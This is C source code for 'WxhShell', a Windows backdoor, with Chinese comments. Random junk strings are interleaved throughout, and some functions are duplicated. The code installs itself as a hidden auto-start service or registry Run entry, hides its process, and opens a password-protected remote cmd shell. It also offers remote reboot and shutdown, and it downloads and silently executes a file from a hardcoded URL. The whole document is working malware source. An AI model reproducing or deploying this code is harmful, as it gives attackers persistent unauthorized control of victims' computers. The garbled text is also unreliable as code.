HANDLE hProcess; M0xhcU_ PROCESS_BASIC_INFORMATION pbi; G .<0^q, WwTl|wgvyI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M>m!\bb%. if(NULL == hInst ) return 0; [pEb`s Vdxo g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `r-Jy{!y4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vJGH8$%;, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
anpKWa g$#A'Du if (!NtQueryInformationProcess) return 0; "Y L^j~A t?-a JU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r'#!w3*Cy if(!hProcess) return 0; O.X;w<F/V ;@ixrj0u if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \3^V-/SJf ],0I`!\ CloseHandle(hProcess); dR.?Kv(,E R/"-r^j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;f[##=tm if(hProcess==NULL) return 0; 3Fn}nek ejyx[CF HMODULE hMod; 9q$^x/z! char procName[255]; I*Dj@f` unsigned long cbNeeded; As>Og 8CRbo24"s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }"WovU{*s (_ :82@c CloseHandle(hProcess); Zl&ED{k< HP_h!pvx if(strstr(procName,"services")) return 1; // 以服务启动 )e'F[ #z&R9$ return 0; // 注册表启动 6M7GPHah } }JST(d& N atC}k // 主模块 v5\ALWy+p int StartWxhshell(LPSTR lpCmdLine) GB}\ 7a { \^9n&MonM SOCKET wsl; }%?or_f/ BOOL val=TRUE; o96c`a u int port=0; de2G"'F struct sockaddr_in door; fi>.X99(G &x\)] i2f if(wscfg.ws_autoins) Install(); 'D`lVUB qGV(p}$O port=atoi(lpCmdLine); &l]F&- +u=VO#IA# if(port<=0) port=wscfg.ws_port; d2i?FT> dl8f]y#Q WSADATA data; M0lJyzJ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r`<e<C k6z
]-XG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qS! Lt3+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |-{e!& door.sin_family = AF_INET; bws}'#-* door.sin_addr.s_addr = inet_addr("127.0.0.1"); zE1=P/N door.sin_port = htons(port); QnBWZUI xg,
9~f[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ob/<;SrU< closesocket(wsl); @.a59kP8X return 1; mD% qDKI } ZDzG8E0Sq ]?T^tJ if(listen(wsl,2) == INVALID_SOCKET) { Hpz1Iy@ closesocket(wsl); ZG1TRF " return 1; 6l2O>V } QQN6\(;- Wxhshell(wsl); Wd!Z`,R WSACleanup(); $PRd'YdL/ k=kkF" return 0; =s*c(> )K]p^lO } wAW{{ p 6p&2A // 以NT服务方式启动 ( z)#}TC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V*O[8s%5v { =to.Oa RR DWORD status = 0; p|nPu*R-\ DWORD specificError = 0xfffffff; "{E%Y* OhN2FkxL serviceStatus.dwServiceType = SERVICE_WIN32; Ws0)B8y,| serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,.2qh|Ol serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DeW{#c6 serviceStatus.dwWin32ExitCode = 0; DVwB}W~ serviceStatus.dwServiceSpecificExitCode = 0; g.!k>_g` serviceStatus.dwCheckPoint = 0; PB"=\>]`N serviceStatus.dwWaitHint = 0; f,6V#, JBHPI@Qt% hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @>$qb|j if (hServiceStatusHandle==0) return; O86p]Lr 'j{o!T0 status = GetLastError(); p ]jLs|tat if (status!=NO_ERROR) n05GM.|*s { A9]&w serviceStatus.dwCurrentState = SERVICE_STOPPED; _]ZlGq!L serviceStatus.dwCheckPoint = 0; JBq6Qg serviceStatus.dwWaitHint = 0; 'J0I$-QYk serviceStatus.dwWin32ExitCode = status; XPdqE`w=$p serviceStatus.dwServiceSpecificExitCode = specificError; CF-tod SetServiceStatus(hServiceStatusHandle, &serviceStatus); l?_Fy_fBt return; rrE f<A} } R#y"SxD() /DHV-L serviceStatus.dwCurrentState = SERVICE_RUNNING; L1G)/Vkw serviceStatus.dwCheckPoint = 0; ADOA&r[ serviceStatus.dwWaitHint = 0; tN)t`1_j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^+d]'$ } tKuJ &I~ \v=@' // 处理NT服务事件,比如:启动、停止 lcEK&AtK VOID WINAPI NTServiceHandler(DWORD fdwControl) Yc6.v8a { bFL2NH5 switch(fdwControl) =(\BM')l { M6A0D+08 case SERVICE_CONTROL_STOP:
tmBt[ serviceStatus.dwWin32ExitCode = 0; kd"nBb= serviceStatus.dwCurrentState = SERVICE_STOPPED; 9dAtQwGR"6 serviceStatus.dwCheckPoint = 0; {"$[MYi: serviceStatus.dwWaitHint = 0; b|E ZD3y { UEx<;P8rP SetServiceStatus(hServiceStatusHandle, &serviceStatus); nTtEv~a_n } :EYUBtTj return; n!SHExBp case SERVICE_CONTROL_PAUSE: *]R5bj.!o serviceStatus.dwCurrentState = SERVICE_PAUSED; `Xeiz'~f8 break; =E!Y f#p+q case SERVICE_CONTROL_CONTINUE: cl4_M{~ serviceStatus.dwCurrentState = SERVICE_RUNNING; (`#z@,1 break; :t "_I case SERVICE_CONTROL_INTERROGATE: K8[Um!( break; -O1$jBQS }; !"RRw&0M SetServiceStatus(hServiceStatusHandle, &serviceStatus); [742s]j } Nr*X1lJ6 0!0o[3* // 标准应用程序主函数 2v@B7r4} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ] `q]n { kMLJa=]$ w 2U302TZ // 获取操作系统版本 n`w]? bL OsIsNt=GetOsVer(); Pe\Obd8d GetModuleFileName(NULL,ExeFile,MAX_PATH); 2T?Y A*/8j\{n // 从命令行安装 LxWd_B if(strpbrk(lpCmdLine,"iI")) Install(); c1a$J` a-FI`Dv // 下载执行文件 \ %MsG if(wscfg.ws_downexe) { [YODyf}M>\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :O&jm.2m WinExec(wscfg.ws_filenam,SW_HIDE); [iO8R-N8d } eGpKoq7a [\h?mlG? if(!OsIsNt) { PP!-*~F0Jr // 如果时win9x,隐藏进程并且设置为注册表启动 AX1!<K HideProc(); ?fC9)s StartWxhshell(lpCmdLine); .Oc j|A6 } (.Ak* else CDuA2e if(StartFromService()) L$);50E
// 以服务方式启动 |`o1B;lc StartServiceCtrlDispatcher(DispatchTable); w8 UUeF else t18j2P>` // 普通方式启动 3< 6h~ek) StartWxhshell(lpCmdLine); 6:; >id${ LCj3{>{/= return 0; /5L\:eX% } 'PFjZGaKR q`L)^In" Qmo}esb'( 2T(+VeMQ= =========================================== 3}mg7KV& jgPUR#) M?}:N_9<J Oi^cs=} ibwV#6 1HAnOy0 " {5c?_U !=*8*?@ #include <stdio.h> C$C>RYE?. #include <string.h> [Y, L=p #include <windows.h> 7 j=KiiI #include <winsock2.h> _&s pMf #include <winsvc.h> 8qw{e`c #include <urlmon.h> =23@"ji@D olxxs( #pragma comment (lib, "Ws2_32.lib") ln8NcAEx #pragma comment (lib, "urlmon.lib") P*|=Z>%[0 , .;0xyc #define MAX_USER 100 // 最大客户端连接数 emrA!<w!W #define BUF_SOCK 200 // sock buffer p-EU"O #define KEY_BUFF 255 // 输入 buffer m||9,z- k%O3\q #define REBOOT 0 // 重启 -oUNK}> #define SHUTDOWN 1 // 关机 9xzow,mi ,1Z([R* #define DEF_PORT 5000 // 监听端口 ]W2#8:i z8{-I@+` #define REG_LEN 16 // 注册表键长度 VEIct{ #define SVC_LEN 80 // NT服务名长度 &s?uMWR CP%^)LX * // 从dll定义API 4~FRE)8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $2i@@#g8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L'aB/5_% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NR
k~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `]6<j<'
, e`7>QS;. // wxhshell配置信息 VX8CEO struct WSCFG { Qf~$9?z int ws_port; // 监听端口 qS!N\p~> char ws_passstr[REG_LEN]; // 口令 =VZ_';b h int ws_autoins; // 安装标记, 1=yes 0=no e?+-~]0 char ws_regname[REG_LEN]; // 注册表键名 !P^Mo> " char ws_svcname[REG_LEN]; // 服务名 @sg.0GR char ws_svcdisp[SVC_LEN]; // 服务显示名 +5Dc5Bl char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y0EX{oxt1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aL+>XN int ws_downexe; // 下载执行标记, 1=yes 0=no 9"gu> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m0v.[61 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z~-N'Lt{ Y(kf<Wo }; \**j\m !yrh50tD // default Wxhshell configuration A]i!131{w| struct WSCFG wscfg={DEF_PORT, uSQ#Y^V_ "xuhuanlingzhe", S`FIb'J 1, v;;3 K*c> "Wxhshell", %3#C0%{x "Wxhshell", hf2bM
`d "WxhShell Service", Avi_]h& "Wrsky Windows CmdShell Service", Y&Fg2_\"> "Please Input Your Password: ", H7;,Kr 1, !-3;Qj}V "http://www.wrsky.com/wxhshell.exe", Y\B6c^E) "Wxhshell.exe" $)o0{HsL+ }; Mz2TwU_ .RFH@'' // 消息定义模块 >8OY6wb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2YW;=n char *msg_ws_prompt="\n\r? for help\n\r#>"; y1PyH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .o/uA char *msg_ws_ext="\n\rExit."; HZWt>f char *msg_ws_end="\n\rQuit."; ~ *"iLf@, char *msg_ws_boot="\n\rReboot..."; =QtFJ9\ char *msg_ws_poff="\n\rShutdown..."; V|sV U char *msg_ws_down="\n\rSave to "; Khc^q*|C) gVzIEE25 char *msg_ws_err="\n\rErr!"; ~:f..|JM char *msg_ws_ok="\n\rOK!"; R"P-+T=7M ZBY2,%nAo char ExeFile[MAX_PATH]; +> !nqp int nUser = 0; \$Wpt#V HANDLE handles[MAX_USER]; u?dPCgs;h int OsIsNt; U887@-!3 3Xd:LDZ{ SERVICE_STATUS serviceStatus; 5BXku=M SERVICE_STATUS_HANDLE hServiceStatusHandle; t ;h`nH[ z5M6 // 函数声明 -40X3 int Install(void); HSROgBNI: int Uninstall(void); HNBmq>XDc int DownloadFile(char *sURL, SOCKET wsh); vFntzN># int Boot(int flag); a oU" void HideProc(void); W~D_+[P|_ int GetOsVer(void); Q]N&^ E int Wxhshell(SOCKET wsl); =|IlORf< void TalkWithClient(void *cs); [{u3g4`} int CmdShell(SOCKET sock); v7./u4S|V int StartFromService(void); v]F4o1ckk int StartWxhshell(LPSTR lpCmdLine); #*_!Xc9f ^w~B]*A:" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H~Vf;k> VOID WINAPI NTServiceHandler( DWORD fdwControl ); MSvZ3[5Io s*yl&El/ // 数据结构和表定义 U-fxlg|-C SERVICE_TABLE_ENTRY DispatchTable[] = _r\M}lDh* { hPBBXj/= {wscfg.ws_svcname, NTServiceMain}, Sm4BZF~!B {NULL, NULL} ]gcOMC }; 9+N%Io?! EXVZ?NG // 自我安装 eU%49 A int Install(void) _Wg}#r { [tfB*m5 char svExeFile[MAX_PATH]; OmBz'sp: HKEY key; Pm/i,T6&\ strcpy(svExeFile,ExeFile); *{fs{gFw9 b6f OHy // 如果是win9x系统,修改注册表设为自启动 I]e+5 E0 if(!OsIsNt) { MAFdJ+n# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,7)hrA$( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yn="vpM1 RegCloseKey(key); d:K\W[$Bz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z8xB
a0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .06D_L"M RegCloseKey(key); mWaij]1> return 0; )< G(C,!,. } ?=&S?p)-< } Jk\-e`eE } #d\&6'O else { S5 q1Mn lRg?||1ik // 如果是NT以上系统,安装为系统服务 eZT8gKbjJ) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1a{3k#} if (schSCManager!=0) &Z]}rn { Z@+nkTJ9&t SC_HANDLE schService = CreateService /v5A)A$7 ( U0j>u*yE schSCManager, qD>^aEd@4 wscfg.ws_svcname, mXyP;k wscfg.ws_svcdisp, ;i6~iLY SERVICE_ALL_ACCESS, \M\7k5$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B1nm?E 0i SERVICE_AUTO_START, C&w0HoF SERVICE_ERROR_NORMAL, o6O-\d7^M svExeFile, k"i3$^v8 NULL, \vT~2Y(K NULL, 8Zsaq1S NULL, a&b/C*R_ NULL, NLL"~ NULL r]p3DQ ); 8N'hG, if (schService!=0) QNMZR { +8//mrL_/ CloseServiceHandle(schService); %`5(SC]. CloseServiceHandle(schSCManager); uM[|>t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tpcB}HUv strcat(svExeFile,wscfg.ws_svcname); )x/#sW%) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zc~7R`v7} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8~C}0H RegCloseKey(key); }bS1M return 0; *GE6zGdN } }UW*[dCf>C } !s=$UC CloseServiceHandle(schSCManager); gE\ ^ vaB } C
6
\ } jerU[3 Y%"$v0D return 1; > U?\WgE$ } )9yQ
C 1}=D // 自我卸载 [6mK<A,/ int Uninstall(void) rueaP { I &iyj99n HKEY key; $oQOOa@;i) -@w,tbc$ if(!OsIsNt) { cl^UFlf[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V[/9?5pM RegDeleteValue(key,wscfg.ws_regname); %MHL@Nn>e RegCloseKey(key); 9S]pC?N]E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U U_0@V< RegDeleteValue(key,wscfg.ws_regname); /=6_2t#vA RegCloseKey(key); LvG$J* return 0; }=bzUA`C } UDi(7c0. } iw,uwh|L
} PkDt-]G. else { a^J(TW/ ]C,j80+pK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }VJ>}i* if (schSCManager!=0) ,g7O { (]'wQ4iQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tB>!1}v if (schService!=0) 49*f=gpGj2 { " C0[JdZ if(DeleteService(schService)!=0) { _1gNU]" CloseServiceHandle(schService); WMtFXkf6" CloseServiceHandle(schSCManager); aF?_V!#cT return 0; vf3) T;X> } I(~([F2 CloseServiceHandle(schService); *bFWNJ}`q } .Bl:hk\ CloseServiceHandle(schSCManager); Zb1GR5MB`k } EX{%CPp7} } qA7,txQ: L%v@|COQ3 return 1; y{mt *VA4 } e x Z/ &qXobJRM // 从指定url下载文件 )b1hF int DownloadFile(char *sURL, SOCKET wsh) QHO n?e
{ t!rrYBSCr HRESULT hr; S&UP;oc char seps[]= "/"; _oc6=Z char *token; g]&fyB# char *file; jnp~ACN, char myURL[MAX_PATH]; V"4L=[le char myFILE[MAX_PATH]; }V]b4t _@B? strcpy(myURL,sURL); |k6+-
1~_ token=strtok(myURL,seps); N/0aO^"V while(token!=NULL) Wd;t(5Xl { h623)C; file=token; MS""-zn< token=strtok(NULL,seps); %^lD } Gf.ywqE$Y$ L3I$ K+c GetCurrentDirectory(MAX_PATH,myFILE); F*U(Wl= strcat(myFILE, "\\"); }b54O\, strcat(myFILE, file); OlyW/hd send(wsh,myFILE,strlen(myFILE),0); Q9OCf"n $ send(wsh,"...",3,0); B`eK_'7t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UeFJ5n'x: if(hr==S_OK) &l2xh~L return 0; Fya*[)HBo else A;rk4)lij return 1; Rf4K Rhi Fvk=6$d2 } _$$.5?4 }w4OCN\1
// 系统电源模块 )=GPhC/sw int Boot(int flag) #^VZJ:2=| { K.QSt HANDLE hToken; zl8M<z1`1 TOKEN_PRIVILEGES tkp; i=<;$+tW cu>(;= if(OsIsNt) { &'^.>TJ\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )@DDs(q=i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =!SV;^-q tkp.PrivilegeCount = 1; 1]''@oh{6U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ld.9.d] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5T.U=_ag if(flag==REBOOT) { $>#0RzU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u4FD}nV return 0; 6ZE`'pk< } =At" Q6-O else { [r"Oi|
8I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3\}u#/Vb return 0; )lLeL#]FLO } P x Q] $w } !aUYidd else { O'98OH+u if(flag==REBOOT) { pdJ]V`m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fD[O
tc return 0; >#:SJ?)`T } KS(H_&j else { AjEy@/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =_BHpgL return 0; HUjX[w8 } k F^4kCJ@ } pqO0M]} h%F.h![* return 1; b%MZfaU } 6HBDs: 1A'eH:$ // win9x进程隐藏模块 RgV3, z void HideProc(void) bj@sci(1? { ^X{U7?x =$4I}2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f@YdL6&d- if ( hKernel != NULL ) BhDg\oxZ { +0U=UV)U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =| T ^)J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mOj; 0 R FreeLibrary(hKernel);
tgG
8pL } )e5=<'f1
Z:^#9D{ return; M>5OC)E } + Fo^NT BAXu\a-C_ // 获取操作系统版本 V5$Gb6?K int GetOsVer(void) P^"RH&ZQJ { '|=Pw OSVERSIONINFO winfo; ?WXftzdf6u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )rP,+ B?W GetVersionEx(&winfo); \azMF} mb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D)x^?! return 1; ^k7I+A else h(yFr/ return 0; hK)'dG* }
3}s]F/e n*$g1 HG6 // 客户端句柄模块 "{vWdY|" int Wxhshell(SOCKET wsl) wG MhKZE { qvu1 u
GCc SOCKET wsh; *K_8=TIA* struct sockaddr_in client; 0IqGy}+VU DWORD myID; OWrQKd <eMqg u while(nUser<MAX_USER) &,<,!j)Jr { RiAg: int nSize=sizeof(client); rfVQX<95=/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |dEPy-Xe if(wsh==INVALID_SOCKET) return 1; o_Z9\'u ZqrS]i@$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?"
4X&6xl if(handles[nUser]==0) 8y6dT closesocket(wsh); @"NP`# else xltN-<n7 nUser++; ^_3Ey } MzUKp" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x[};x;[ZE Qq.$!$ return 0; bP-(N14x+ } b-8@_@f|g {+#{Cha // 关闭 socket V0{#q/q void CloseIt(SOCKET wsh) D+;4|7s+ { @&m]:GR closesocket(wsh); m-4#s nUser--; >b"@{MZ@t ExitThread(0); ,N:^4A } ,w6?Ap 4|&/#Cz^Y // 客户端请求句柄 Czw]5 void TalkWithClient(void *cs) :'%|LBc0 { ;6R9k]5P% kJ"rRsK SOCKET wsh=(SOCKET)cs; kwUUvF7w char pwd[SVC_LEN]; 1@{ov!YB] char cmd[KEY_BUFF]; d+)L K~ char chr[1]; ~Yc~_)hD int i,j; % t,42jQ9 ^A&{g.0 while (nUser < MAX_USER) { (*r2bm2FPO yNfj-wM if(wscfg.ws_passstr) { B!J?,SB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ):hz/vZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NLpKh1g //ZeroMemory(pwd,KEY_BUFF); SaGI4O_\s i=0; } 'xGip@W while(i<SVC_LEN) { %8I^&~E1 G"&$7!6[Y // 设置超时 H+I,c1sF fd_set FdRead; -w2^26ax struct timeval TimeOut; [r>hKZU2 FD_ZERO(&FdRead); "2%R? FD_SET(wsh,&FdRead); D3aX\ NGP TimeOut.tv_sec=8; KO8vUR*2R TimeOut.tv_usec=0; ?;](;n#lU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >F^$
' b] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t)8crX}P j%3$ytf|p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0^Ldw)C" pwd=chr[0]; **__&Xp1 if(chr[0]==0xd || chr[0]==0xa) { bj0HAgY@ pwd=0; <H]PP6_g: break; ;DX{+Z[ } Q(N'Oj:J i++; 0_je@p+$
} "24d:vf\ 6[XaIco=C // 如果是非法用户,关闭 socket {BM:c$3@j if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VB |k } P\WHM( >DY/CcG\P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $I-iq
@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3F;0a ;[ m`zd0IRTP while(1) { V9<E`C chD7^&5] ZeroMemory(cmd,KEY_BUFF); bny@AP(CY+ rkS'OC // 自动支持客户端 telnet标准 =aj|auu j=0; 0e"KdsA:<U while(j<KEY_BUFF) { "Vc|D (g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bZWR.</ cmd[j]=chr[0]; $/Wec,`& if(chr[0]==0xa || chr[0]==0xd) {
PC@HNto{ cmd[j]=0; EhO\N\p(Q= break; pHVDug3 } zQ<&[Tuwa j++; W'k&DKhTqF } 5[zr(FuE !^L}LtqHI // 下载文件 as3uz if(strstr(cmd,"http://")) { rA<J^dX=C send(wsh,msg_ws_down,strlen(msg_ws_down),0); :.H@tBi*E if(DownloadFile(cmd,wsh)) YVRE9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); _`QME r? else jyg>'"W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gHUW1E } < :eKXH2 else { ZPM7R3%V)z T5 pc%%q switch(cmd[0]) { 2mj>,kS?c |OF3J,q // 帮助 bU}!bol case '?': { /Y\q&} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -{eiV0<^ break; 7 je1vNs } T;3~teVYB // 安装 c?xeBC1- case 'i': { vA*NJ%&` if(Install()) ZQz;EV! send(wsh,msg_ws_err,strlen(msg_ws_err),0); *sfz+8Y else !5m~qet. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*P0;V`UX break; +f]I7e:qp } ?\Y7]_]/ // 卸载 +W>tdxOh case 'r': { V /OW=WCzN if(Uninstall()) R'K /\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); F r2
+p else ,h3,&, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;XYfw) break;
~|KMxY(: } ?aG ~E // 显示 wxhshell 所在路径 d9D*w/clMi case 'p': { `b@"GOr char svExeFile[MAX_PATH]; `~=Is.V[ strcpy(svExeFile,"\n\r"); ^kB9
I8u strcat(svExeFile,ExeFile); DML0paOm5 send(wsh,svExeFile,strlen(svExeFile),0); P#A|Pn<p break; 8r\xQr'8h } Q"xDRQA // 重启 jTQN(a9Y case 'b': { *OE>gg&?Nh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a~tBg y+9 if(Boot(REBOOT)) g=v[@{9Pw send(wsh,msg_ws_err,strlen(msg_ws_err),0); E\}Q9,Z$ else { kr1^`>O5 closesocket(wsh); 5o(=?dXm4 ExitThread(0); p|*b] 36 } =(k0^#++G break; hU2N{Ac } tK <)A) // 关机 @D<Q'7mLh case 'd': { &P8Q|A-u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x2f_>tu2 if(Boot(SHUTDOWN)) FUPJ&7+B send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+r5I5 else { IZ4jFgpR closesocket(wsh); 8J9o$Se ExitThread(0); {24Pv#ZG#^ } .Qj`_q6= break; 0Zl1(;hx@ } i%B$p0U< // 获取shell ]Otl(\v(h case 's': { \=~<I CmdShell(wsh); gwF@'Uu closesocket(wsh); @1[LD[< ExitThread(0); 9=~jKl%\vJ break; )=D9L } Ipmr@%~ // 退出 wY}+d0Ch case 'x': { ~RE`@/wQ] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y.Ew;\6U CloseIt(wsh); 0MzHr2?'P break; 3?/} } |y=D^NTG // 离开 %nc+VL4 case 'q': { cKy%0oTla send(wsh,msg_ws_end,strlen(msg_ws_end),0); |b7>kM}" closesocket(wsh); 7~`6~qg. WSACleanup();
ae1fCw3k exit(1); ]R]X#jm break; 9p$q@Bc } `^N;%[c`z } .g&BA15<F6 } E3KPJ`=!*" _H3cqD // 提示信息 N4mQN90t if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |s`q+ U - } m
:^,qC } Ox43(S0~ )5V1HWjU return; ;j_#,Da9< } %F/tbXy{ 'Ph;:EMj // shell模块句柄 )I}G:bBa int CmdShell(SOCKET sock) KoXXNJax { J<zg 'Jk^ STARTUPINFO si; 4Y/!V[ ZeroMemory(&si,sizeof(si)); bFx?HM.AGW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q{JD]A : si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZyWC_r! PROCESS_INFORMATION ProcessInfo; O 1X
! char cmdline[]="cmd"; Hm^p^,}_x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {S&&X&A`v return 0; mg;AcAS.o, } i\eykYc, XAFTLNV> // 自身启动模式 g%[Ruugu int StartFromService(void) n<$I, IRE { nMbV{h , typedef struct #5I "M WA { r#~6FpFVK^ DWORD ExitStatus; `4p9K DWORD PebBaseAddress; BzUx@, DWORD AffinityMask; lJ,s}l7 DWORD BasePriority; hP#&]W3: ULONG UniqueProcessId; xO@OkCue ULONG InheritedFromUniqueProcessId; p.IfJ| } PROCESS_BASIC_INFORMATION; e)bqE^JP M*{e e0\`r PROCNTQSIP NtQueryInformationProcess; C]XDDr ~gDtj&F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FxT
[4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6u7HO-aa #sHP\|rA HANDLE hProcess; WL~`L!_. A PROCESS_BASIC_INFORMATION pbi; K=>/(sWiq U5PCj ]-Xt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %?$"oWmenS if(NULL == hInst ) return 0; JZ7-?
o nC Z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u60l - g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %~[F^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -
|'wDf?H OWkK]O if (!NtQueryInformationProcess) return 0; {gn[
